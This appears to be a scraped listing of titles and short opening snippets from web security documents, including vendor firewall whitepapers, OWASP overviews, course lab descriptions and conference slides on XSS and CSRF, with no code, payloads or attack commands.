WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY www.alliancetechpartners.com WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY More than 70% of all websites have vulnerabilities
SecurityMetrics Vision whitepaper
SecurityMetrics Vision whitepaper 1 SecurityMetrics Vision: Network Threat Sensor for Small Businesses Small Businesses at Risk for Data Theft Small businesses are the primary target for card data theft,
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Advanced Web Security, Lab
Advanced Web Security, Lab Web Server Security: Attacking and Defending November 13, 2013 Read this earlier than one day before the lab! Note that you will not have any internet access during the lab,
In order for the form to process and send correctly the follow objects must be in the form tag.
Creating Forms Creating an email form within the dotcms platform, all the HTML for the form must be in the Body field of a Content Structure. All names are case sensitive. In order for the form to process
WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6
WHITE PAPER FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6 Ensuring compliance for PCI DSS 6.5 and 6.6 Page 2 Overview Web applications and the elements surrounding them
Web Application Vulnerabilities and Avoiding Application Exposure
Web Application Vulnerabilities and Avoiding Application Exposure The introduction of BIG-IP Application Security Manager (ASM) version 9.4.2 marks a major step forward. BIG-IP ASM now offers more features
Columbia University Web Security Standards and Practices. Objective and Scope
Columbia University Web Security Standards and Practices Objective and Scope Effective Date: January 2011 This Web Security Standards and Practices document establishes a baseline of security related requirements
Web Application Security
Web Application Security Ng Wee Kai Senior Security Consultant PulseSecure Pte Ltd About PulseSecure IT Security Consulting Company Part of Consortium in IDA (T) 606 Term Tender Cover most of the IT Security
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek ([email protected])
Bug Report Date: March 19, 2011 Reporter: Chris Jarabek ([email protected]) Software: Kimai Version: 0.9.1.1205 Website: http://www.kimai.org Description: Kimai is a web based time-tracking application.
CS 361S - Network Security and Privacy Spring 2016. Project #1
CS 361S - Network Security and Privacy Spring 2016 Project #1 Due: 12:30pm, March 7, 2016 Submission instructions Follow the instructions in the project description. If you are submitting late, please
A Tale of the Weaknesses of Current Client-side XSS Filtering
A Tale of the Weaknesses of Current Client-side XSS Filtering Sebastian Lekies (@sebastianlekies), Ben Stock (@kcotsneb) and Martin Johns (@datenkeller) Attention hackers! These slides are preliminary!
Security features of ZK Framework
1 Security features of ZK Framework This document provides a brief overview of security concerns related to JavaScript powered enterprise web application in general and how ZK built-in features secures
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
LAB MANUAL CS-322364(22): Web Technology
RUNGTA COLLEGE OF ENGINEERING & TECHNOLOGY (Approved by AICTE, New Delhi & Affiliated to CSVTU, Bhilai) Kohka Kurud Road Bhilai [C.G.] LAB MANUAL CS-322364(22): Web Technology Department of COMPUTER SCIENCE
Malicious Websites uncover vulnerabilities (browser, plugins, webapp, server), initiate attack steal sensitive information, install malware, compromise victim s machine Malicious Websites uncover vulnerabilities
10 Quick Tips to Mobile Security
10 Quick Tips to Mobile Security 10 Quick Tips to Mobile Security contents 03 Introduction 05 Mobile Threats and Consequences 06 Important Mobile Statistics 07 Top 10 Mobile Safety Tips 19 Resources 22
Magento Security and Vulnerabilities. Roman Stepanov
Magento Security and Vulnerabilities Roman Stepanov http://ice.eltrino.com/ Table of contents Introduction Open Web Application Security Project OWASP TOP 10 List Common issues in Magento A1 Injection
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
Web App Security Audit Services
locuz.com Professional Services Web App Security Audit Services The unsecured world today Today, over 80% of attacks against a company s network come at the Application Layer not the Network or System
A Tale of the Weaknesses of Current Client-Side XSS Filtering
Call To Arms: A Tale of the Weaknesses of Current Client-Side XSS Filtering Martin Johns, Ben Stock, Sebastian Lekies About us Martin Johns, Ben Stock, Sebastian Lekies Security Researchers at SAP, Uni
DRIVE-BY DOWNLOAD WHAT IS DRIVE-BY DOWNLOAD? A Typical Attack Scenario
DRIVE-BY DOWNLOAD WHAT IS DRIVE-BY DOWNLOAD? Drive-by Downloads are a common technique used by attackers to silently install malware on a victim s computer. Once a target website has been weaponized with